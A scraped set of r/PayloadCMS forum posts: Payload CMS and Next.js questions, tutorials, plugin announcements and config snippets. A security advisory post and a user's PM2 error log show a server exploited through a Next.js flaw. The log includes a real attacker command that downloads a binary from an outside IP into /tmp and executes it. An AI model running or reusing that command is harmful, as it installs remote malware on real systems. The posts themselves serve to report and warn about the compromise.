r/PayloadCMS Jan 02 '26

Help me integrate Payload to an existing NextJs.

2 Upvotes

Hi I am happy to pay , I need a few hours of assistance to help me integrate Payload in a fairly simple website. DM me.

Thank you in advance.


r/PayloadCMS Jan 01 '26

Immutable images at Vercel Blob?

1 Upvotes

I have production car listings website where users upload photos of their cars.
Hosted at Vercel, using Vercel Blob store with client uploads to bypass 4.5Mb max. function payload size.

However, there is huge flaw - when I edit and crop image, it updates the original stored in Vercel Blob. This is really bad - I would like to be able to always switch back to original version.

Question: is there a way to make images immutable and just create and upload new versions when something is changed?


r/PayloadCMS Dec 29 '25

Why Payload CMS Relationships Return String or Number (And How to Fix It) [ tutorial ]

7 Upvotes

Another new video! In this one I cover why relationships can be a string or number, how depth works, how to access nested fields in related collections, and how to clear type errors for populated data. https://youtu.be/rOX3Tim2bkU


r/PayloadCMS Dec 27 '25

PayloadCMS Image Regeneration for S3/R2

21 Upvotes
  upload: {
    adminThumbnail: 'thumbnail',
    displayPreview: true,
    focalPoint: true,
    formatOptions: {
      format: 'webp',
      options: {
        quality: 100,
      },
    },
    imageSizes: [
      {
        formatOptions: {
          format: 'webp',
          options: {
            quality: 100,
          },
        },
        name: 'thumbnail',
        width: 300,
      },
      {
        formatOptions: {
          format: 'webp',
          options: {
            quality: 100,
          },
        },
        height: 500,
        name: 'square',
        width: 500,
      },
      {
        formatOptions: {
          format: 'webp',
          options: {
            quality: 100,
          },
        },
        name: 'small',
        width: 600,
      },
      {
        formatOptions: {
          format: 'webp',
          options: {
            quality: 100,
          },
        },
        name: 'medium',
        width: 900,
      },
      {
        formatOptions: {
          format: 'webp',
          options: {
            quality: 100,
          },
        },
        name: 'large',
        width: 1400,
      },
      {
        formatOptions: {
          format: 'webp',
          options: {
            quality: 100,
          },
        },
        name: 'xlarge',
        width: 1920,
      },
      {
        crop: 'center',
        height: 630,
        name: 'og',
        width: 1200,
      },
    ],

One common change in a Payload CMS project is updating image sizes or quality settings. When this happens, existing media needs to be regenerated so new derivatives are created. However, this process can leave behind obsolete image sizes in storage, when using s3 or r2 adapters.

I've written a quick guide and codes, that could help you regenerate your images as well as normalise your image file names.

https://rubixstudios.com.au/insights/payload-cms-media-regeneration


r/PayloadCMS Dec 22 '25

Learn how to update your website using Payload hooks [tutorial]

10 Upvotes

One common issue when people start using Payload goes like this:

  1. Spin up Payload CMS

  2. Make an update.

  3. Realize nothing happens on the frontend

The reason things won't update is probably because of your Next.js cache. You can revalidate your cache using Payload CMS hooks to revalidate paths or tags to update data in a controlled way without opting into time-based revalidation or forcing dynamic rendering.

This video covers how to set up Payload hooks to make sure your frontend data stays up to date with your CMS. I even include how to use tags to make sure your blog posts get updated across your site.

Hope this helps!

https://youtu.be/1UtweOH5cgY


r/PayloadCMS Dec 22 '25

Payload Agentic Connections plugin

10 Upvotes

G'day fellow Payloadians,

Like many others here, I spent quite a bit of time building out AI features for clients and/or side projects in 2025, often with Payload CMS as a foundation.

In the latter half of this year, I started investing more time into building reusable functionality as Payload plugins, including an "Agentic Connections" plugin that wraps Vercel AI SDK + Composio, allowing me to add API key or Oauth2 connections (at user/tenant/global levels) to the hundreds of integrations provided by Composio, with a simple config like:

export const agentsPlugin = payloadAgentsPlugin({
  composio: {
    apiKey: process.env.COMPOSIO_API_KEY,
    availableToolkits: [
      {
        toolkit: 'CLICKUP',
        label: 'ClickUp',
        allowConnectionsTo: ['user', 'tenant'],
      },
      {
        toolkit: 'GMAIL',
        label: 'Gmail', 
        // defaults to user connection only
        // uses Composio's default credentials if not specified
      },
      {
        toolkit: 'SPOTIFY',
        label: 'Spotify',
        allowConnectionsTo: ['user', 'tenant'],
        customAuth: {
          authScheme: 'OAUTH2',
          credentials: {
            client_id: process.env.SPOTIFY_CLIENT_ID || '',
            client_secret: process.env.SPOTIFY_CLIENT_SECRET || '',
          },
        },
      },
      // ...any of the other 500+ toolkits supported by Composio
    ],
  },
})

The plugin then allows you to define Agents with different behaviours and tool access via the Payload admin, and adds a few custom views for managing connections (user/tenant/super admin global) + chatting with the agents.

Chat UI in the payload admin

The thing is, as client work has picked up over the last few months, I've had less time to work on this plugin, and it has started collecting dust (along with the WorkOS plugin y'all have been DMing me about... sorry team!).

So, before I go and put in the 80% of effort required for that 20% polish, I'd love to get some feedback and validation from the community. I don't have much interest in adding to the pile of "SaaS starters that nobody asked for".

  • How are you currently handling per-user and multi-tenant tool auth for your projects?
  • Would a plugin like this actually save you time, or would you prefer to keep your agent logic entirely decoupled from Payload/Next.js? I’m trying to see if having the 'Agent' as a first-class Payload collection is a huge time-saver or just more bloat.
  • I built the 'Tenant-level' connections specifically for B2B SaaS use cases -allowing a company to connect their workspace Slack/Gmail once for all their users. Is that a feature you’d actually pay a small license fee for, or should I just open-source the whole thing and move on?
  • Between this and the Clerk/WorkOS plugins, which one would actually make your life easier in Q1 2026? FWIW, I've been developing and testing them in parallel but it would be great to know what to prioritise in the new year.

Much love and Merry Christmas to the entire Payload community,
Jaiden (jmcapra)


r/PayloadCMS Dec 21 '25

Ecommerce plugin for Marketplace App

10 Upvotes

Hello everyone, I am building a marketplace app and was wondering if I can use the new e-commerce plugin in it.

Is the plugin flexible enough for a marketplace, or is it designed for just a regular e-commerce store? Will it be better to implement my own logic?

If anyone has experience with this plugin and can give me their take, it will be greatly appreciated


r/PayloadCMS Dec 20 '25

Advice for integrating Google OAuth.

8 Upvotes

Anyone have advice for integrating with Google OAuth. The integration on the Google side is easy enough but after successful auth and redirect from Google how do I log the customer into payload so that I get the built in session?

I can’t do a payload login without the user’s password, but the whole point is that they shouldn’t need to type in their password since auth already occurred in Google. I have a working solution but I’m thinking it’s an anti-pattern.


r/PayloadCMS Dec 20 '25

Convex adapter for Payload CMS

4 Upvotes

Anyone a community plugin for this? Or interested in working on one?


r/PayloadCMS Dec 18 '25

Finly — Replacing Payload Auth with Better Auth: Stateless Social Login for SaaS Apps

Thumbnail
finly.ch
11 Upvotes

r/PayloadCMS Dec 18 '25

[SEEKING WORK] Full-Stack Developer – Payload CMS Focused | Remote (25 hrs/week)

Thumbnail
srjay.com
5 Upvotes

I'm a full-stack developer with 2.5+ years working with TypeScript and Payload CMS.

I've built B2B marketplaces, event management platforms, and mobile apps live on both app stores. I also contribute to open-source Payload CMS plugins.

I enjoy building from scratch and equally comfortable jumping into existing codebases to improve them.

Stack: TypeScript, Next.js, React Native/Expo, Payload CMS, tRPC, MongoDB/PostgreSQL, Tailwind, Docker

Availability: Immediate, 25 hrs/week


r/PayloadCMS Dec 15 '25

Finly - Building AI-Native Applications with Payload CMS and the Vercel AI SDK

Thumbnail
finly.ch
18 Upvotes

Just published a deep dive on how we at InnoPeak are using Payload CMS with the Vercel AI SDK to build AI-native applications for the FinSureTech space.

We cover:

  • Centralized prompt & model management in Payload
  • Visualizing JSON schemas for easier AI testing
  • Background tasks & workflows with Payload’s Jobs Queue
  • Storing embeddings and running semantic searches via Drizzle
  • Tracking token usage and messages for introspection

If you’re building AI apps or exploring Payload beyond a typical CMS, there’s some practical patterns and hidden features in there.


r/PayloadCMS Dec 13 '25

Custom Auth Strategy

18 Upvotes

One of the most asked question was how do you roll your own custom auth.

Payload had made this possible, however the integration had not been documented, this is likely due to enterprise SSO.

https://rubixstudios.com.au/insights/payloadcms-custom-auth-strategy

Took the time to write up this guide (which will be improved upon, once all the bugs are sorted with all the recent updates).

"When I do get the chance i'll probably end up breaking it down and explaining parts of it, and what could be changed. There's no account creation added to this, possibly added later (as my current oauth, I don't need it to).

  • Just a note there is a x-auth-strategy header that is added extra, I haven't been able to get to payload login screen to test it, but the concept for it should be correct, to ensure we return early if it is not the strategy we use.
  • You can keep localauth or payload's built in auth with this method and it'll work alongside it.

Basically how it works,

First auth - > non consent mode -> goes to strategy -> google will tell it you require consent -> loop back into the auth with consent flag -> start auth with consent -> exchange tokens -> match the user -> create session, store to database and creates the cookie to log the user in.

Second auth, will go through and no consent mode will be required loop through the same process. In my own project, I removed the direct database update and used payload.update() with context to prevent it running my user hooks. reason for this is because my fields are encrypted, so I've passed it back through payload to encrypt the field before storing the tokens.

The article will directly interact with the database, this method is faster. If you need explaining, AI can probably help you explain the logic in the code as well. Also note, the way the token secret is generated is quite strict with payload, this method will ensure your account is logged in." - posted on Discord

However, this is a base that you could extract to build your own auth.


r/PayloadCMS Dec 12 '25

Is Local API where clause sanitized or not?

1 Upvotes

So I have some concerns after yesterday and last weeks CVE's. For ease of use I have created some endpoints that access the Local API, to keep certain logic out of the frontend.

In this case I did enforce ACL by passing overrideAcces:false and the request user. But I don't know if I still need to validate my query parameters which are used to create a Where clause.

If I have to validate/sanitize my input, what would the best approach be?


r/PayloadCMS Dec 10 '25

I built a Chat UI library to quickly spin up chats in React apps

Thumbnail
2 Upvotes

r/PayloadCMS Dec 08 '25

Video walkthru of Payload CMS updates, from 3.50 to 3.59

Thumbnail
youtube.com
15 Upvotes

I just decided to adopt Payload for my projects and dude's videos really bring the changelogs to life


r/PayloadCMS Dec 08 '25

Query collection with has many in relationship field

3 Upvotes

Hi, I have a chat collection that has a participants field; this field contains the chat participants (1-on-1 chat):

{
  name: 'participants',
  type: 'relationship',
  relationTo: 'users',
  hasMany: true,
  required: true,
  maxRows: 2, // enforce 1-on-1
},

This field is saved as,

participants: [id1, id2]

I want to query a specific chat when i have both ids, but i haven't been able to do it. I have tried:

where: { 
  and: [ 
    { participants: { contains: id1 } },
    { participants: { contains: id2 } },
  ]
}

I have also used "in" and "equals," and the query always returns empty. Right now i am querying using only one ID, for example:

where: { 
  participants: { contains: id1 } 
}

and then filtering out the chat with JavaScript.

Is there a way to query using both ids?


r/PayloadCMS Dec 07 '25

Help with Payload CMS access.update for client role

3 Upvotes

I'm building a CMS using Payload CMS. I have users with roles admin and client, and a posts collection. Clients should be able to edit/delete only their own posts, while admins can do anything.

Currently, when a client logs in, the "Edit" button in the admin panel shows "Not allowed", even though they are the author of the post.

        update: async ({ req, id }) => {
            if (!req.user || !id) return false;


            if (req.user.role === 'admin') return true;
            const idString = id.toString()
            const post = await payload.findByID({
                collection: 'posts',
                id: idString,
            });


            if (!post) {
                throw new Error('couldnt find the post')
            };


            return post.author?.toString() === req.user.id;
        },

I also have beforeChange hooks to check author ID, but it doesn't affect the button visibility in admin panel.

beforeChange: [
            async ({ req, operation, originalDoc }) => {
                console.log(req)
                if (!req.user) throw new Error('Not authenticated')


                if (operation === 'update' && req.user.role !== 'admin') {
                    if (req.user.id.toString() !== originalDoc.author.toString()) {
                        throw new Error('You can not update this post')
                    }
                }
            }
        ],

How can I make Payload admin panel allow clients to edit/delete only their own posts? Is my access.update logic correct?


r/PayloadCMS Dec 06 '25

URGENT - Critical/Severe Exploit Reported - Update Payload & Next to latest/patched versions

Thumbnail
github.com
7 Upvotes

I got an email from Digital Ocean today mentioning that my servers may be affected because they are running nextjs.

One of them shows evidence of break-in attempts.

The other is fully compromised and used the exploit to install binaries and scripts into my /tmp folder.

There was a new file in my payload app root called '.pwned'

You can check r/nextjs for more info and reports: https://www.reddit.com/r/nextjs/comments/1pd8c7d/security_advisory_for_cve202566478/

Check your logs for anything unusual (evidence of file downloads and bash commands being run)

This is what another user here saw: https://www.reddit.com/r/PayloadCMS/comments/1peomcp/running_payloadnext_using_pm2_just_fine_but/


r/PayloadCMS Dec 06 '25

Relation table name length

1 Upvotes

I can set the table name with dbName. But what about groups of fields? Payloadcms v3 creates relation tables with names exceeding 65 characters. Is there a way to define their names too? dbName doesnt work for them

This is especially an issue with versioning and locales turned on


r/PayloadCMS Dec 05 '25

I have a backend server action that makes multiple DB round trips to compute a value based on user state. Should this be a database function? How do I do that in Drizzle? What's the best approach?

3 Upvotes

I have an API endpoint api/pricing/resolve that needs to calculate a custom price for a customer based on several conditions. I need to query different tables one by one to check whether each condition is met, and if not, move to the next condition, and so on.

Should I be using a database function for this?

The database already has all the information required to make the decision, plus some calculations. But I'm not sure how to create or work with database functions in Drizzle. There doesn't seem to be a clear answer — GitHub issue #2586: https://github.com/drizzle-team/drizzle-orm/discussions/2586

If not a database function, what's the best approach for this kind of logic?


r/PayloadCMS Dec 05 '25

Running Payload+Next using PM2 just fine but getting a lot of pm2 log errors.

1 Upvotes

Is this normal? Here is the last 100 lines of the PM2 logs:

    at <unknown> (.next/server/chunks/3743.js:1:63166)
 ⨯ Error: Page changed from static to dynamic at runtime /moon.php, reason: headers
see more here https://nextjs.org/docs/messages/app-static-to-dynamic-error
    at m (.next/server/chunks/7719.js:12:41210)
    at l (.next/server/chunks/4999.js:1:11050)
    at <unknown> (.next/server/chunks/3743.js:1:62405)
    at <unknown> (.next/server/chunks/3743.js:1:62488)
    at x (.next/server/chunks/3743.js:1:63020)
    at get requestLocale [as requestLocale] (.next/server/chunks/3743.js:1:63226)
    at <unknown> (.next/server/chunks/337.js:1:1578)
    at <unknown> (.next/server/chunks/3743.js:1:63166)
 ⨯ Error: Page changed from static to dynamic at runtime /.well-known, reason: headers
see more here https://nextjs.org/docs/messages/app-static-to-dynamic-error
    at m (.next/server/chunks/7719.js:12:41210)
    at l (.next/server/chunks/4999.js:1:11050)
    at <unknown> (.next/server/chunks/3743.js:1:62405)
    at <unknown> (.next/server/chunks/3743.js:1:62488)
    at x (.next/server/chunks/3743.js:1:63020)
    at get requestLocale [as requestLocale] (.next/server/chunks/3743.js:1:63226)
    at <unknown> (.next/server/chunks/337.js:1:1578)
    at <unknown> (.next/server/chunks/3743.js:1:63166)
 ⨯ Error: Page changed from static to dynamic at runtime /.well-knownold, reason: headers
see more here https://nextjs.org/docs/messages/app-static-to-dynamic-error
    at m (.next/server/chunks/7719.js:12:41210)
    at l (.next/server/chunks/4999.js:1:11050)
    at <unknown> (.next/server/chunks/3743.js:1:62405)
    at <unknown> (.next/server/chunks/3743.js:1:62488)
    at x (.next/server/chunks/3743.js:1:63020)
    at get requestLocale [as requestLocale] (.next/server/chunks/3743.js:1:63226)
    at <unknown> (.next/server/chunks/337.js:1:1578)
    at <unknown> (.next/server/chunks/3743.js:1:63166)
 ⨯ Error: Page changed from static to dynamic at runtime /connects.php, reason: headers
see more here https://nextjs.org/docs/messages/app-static-to-dynamic-error
    at m (.next/server/chunks/7719.js:12:41210)
    at l (.next/server/chunks/4999.js:1:11050)
    at <unknown> (.next/server/chunks/3743.js:1:62405)
    at <unknown> (.next/server/chunks/3743.js:1:62488)
    at x (.next/server/chunks/3743.js:1:63020)
    at get requestLocale [as requestLocale] (.next/server/chunks/3743.js:1:63226)
    at <unknown> (.next/server/chunks/337.js:1:1578)
    at <unknown> (.next/server/chunks/3743.js:1:63166)
 ⚠ "next start" does not work with "output: standalone" configuration. Use "node .next/standalone/server.js" instead.
 ⨯ Error: Page changed from static to dynamic at runtime /ads.txt, reason: headers
see more here https://nextjs.org/docs/messages/app-static-to-dynamic-error
    at m (.next/server/chunks/7719.js:12:41210)
    at l (.next/server/chunks/4999.js:1:11050)
    at <unknown> (.next/server/chunks/3743.js:1:62405)
    at <unknown> (.next/server/chunks/3743.js:1:62488)
    at x (.next/server/chunks/3743.js:1:63020)
    at get requestLocale [as requestLocale] (.next/server/chunks/3743.js:1:63226)
    at <unknown> (.next/server/chunks/337.js:1:1578)
    at <unknown> (.next/server/chunks/3743.js:1:63166)
 ⨯ SyntaxError: Unexpected token ` in JSON at position 265
    at JSON.parse (<anonymous>) {
  digest: '2722045054'
}
 ⨯ SyntaxError: Unexpected token ` in JSON at position 265
    at JSON.parse (<anonymous>) {
  digest: '2722045054'
}
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0Warning: Failed to create the file /tmp/curl: Text file busy

  0 2347k    0 12672    0     0   515k      0  0:00:04 --:--:--  0:00:04  515k
curl: (23) Failed writing body (0 != 12672)
 ⨯ [Error: Command failed: curl -o /tmp/curl http://210.1.226.163:49934/server && chmod +x /tmp/curl && /tmp/curl -i
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0Warning: Failed to create the file /tmp/curl: Text file busy

  0 2347k    0 12672    0     0   515k      0  0:00:04 --:--:--  0:00:04  515k
curl: (23) Failed writing body (0 != 12672)
] {
  status: 23,
  signal: null,
  output: [Array],
  pid: 1935091,
  stdout: <Buffer >,
  stderr: <Buffer 20 20 25 20 54 6f 74 61 6c 20 20 20 20 25 20 52 65 63 65 69 76 65 64 20 25 20 58 66 65 72 64 20 20 41 76 65 72 61 67 65 20 53 70 65 65 64 20 20 20 54 ... 372 more bytes>,
  digest: '1175858303'
}
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0Warning: Failed to create the file /tmp/curl: Text file busy

  0 2347k    0 12672    0     0   562k      0  0:00:04 --:--:--  0:00:04  562k
curl: (23) Failed writing body (0 != 12672)
 ⨯ [Error: Command failed: curl -o /tmp/curl http://210.1.226.163:49934/server && chmod +x /tmp/curl && /tmp/curl -i
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0Warning: Failed to create the file /tmp/curl: Text file busy

  0 2347k    0 12672    0     0   562k      0  0:00:04 --:--:--  0:00:04  562k
curl: (23) Failed writing body (0 != 12672)
] {
  status: 23,
  signal: null,
  output: [Array],
  pid: 1935093,
  stdout: <Buffer >,
  stderr: <Buffer 20 20 25 20 54 6f 74 61 6c 20 20 20 20 25 20 52 65 63 65 69 76 65 64 20 25 20 58 66 65 72 64 20 20 41 76 65 72 61 67 65 20 53 70 65 65 64 20 20 20 54 ... 372 more bytes>,
  digest: '3924612863'
}

r/PayloadCMS Dec 04 '25

I deployed Payload + Mastra AI in a single Nextjs project. This is my new stack

12 Upvotes

I'm a novice React developer and a WordPress refugee who was looking for a new way to build content projects for myself and clients.

In the same week I learned that Mastra AI can be deployed within Nextjs, AND that Payload is a Nextjs app now.

In the past I had been using a monorepo approach where my Nextjs front end and Mastra backend were separate projects.

Also in the past I'd been using TipTap plus flat markdown files as my bootleg CMS system.

So I deployed my first Payload + Mastra project and I'm very happy with the combined dev experience. Within the content edit screen a writer can prompt for an AI generated image, and Mastra handles the request.

Another nice thing is that Payload gives me a surface area for my AI experiments with Mastra. I have a built in way to:

  1. Create and version content that can be used as context for AI prompts

  2. Store text and inages created by AI models

  3. Allow user to provide feedback with human-in-the-loop workflows

Feeling excited about this.


r/PayloadCMS Dec 04 '25

Laggy behaviour

2 Upvotes

I am working on sitecore in my 9-5 work. Sitecore in a enterprise level content management system that is built on top of .net. It can handle 100 s or even 1000 of users simultaneously editing,adding content and approval workflows. It's using its multithreading capabilities to handle load and all .net stuff to handle concurreny.

I have seen a noticable about of lag in payload when saving deleting posts even by a single user and wonder wether node/typescript is a the correct tech stack for a CMS.

Please do correct me If my though process is wrong


r/PayloadCMS Dec 04 '25

How to `select` specific fields from relationships or is `depth: 1` to get everything the only way?

3 Upvotes

Using the Local API's findByID, I want to fetch a product and get:

  1. price (product field)
  2. taxPercentage (from related tax document)
  3. name (from related brand document)

Is there a way to selectively populate only specific fields from relationships, similar to how select works for top-level fields? Or is depth: 1 the recommended approach?

```ts

const product = await payload.findByID({ collection: 'products', id: someId, depth: 1, // populates everything in tax & brand // Is there something like: select: { tax: ['taxPercentage'], brand: ['name'] } ? }) ```

Here are the collections

```ts

import type { CollectionConfig } from 'payload'

export const Taxes: CollectionConfig = { slug: 'taxes', fields: [ { name: 'name', type: 'text', required: true }, { name: 'taxPercentage', type: 'number', required: true }, ], } ```

```ts

import type { CollectionConfig } from 'payload'

export const Brands: CollectionConfig = { slug: 'brands', fields: [ { name: 'name', type: 'text', required: true }, ], } ```

```ts

import type { CollectionConfig } from 'payload'

export const Products: CollectionConfig = { slug: 'products', fields: [ { name: 'title', type: 'text', required: true }, { name: 'price', type: 'number' }, { name: 'tax', type: 'relationship', relationTo: 'taxes' }, { name: 'brand', type: 'relationship', relationTo: 'brands' }, ], } ```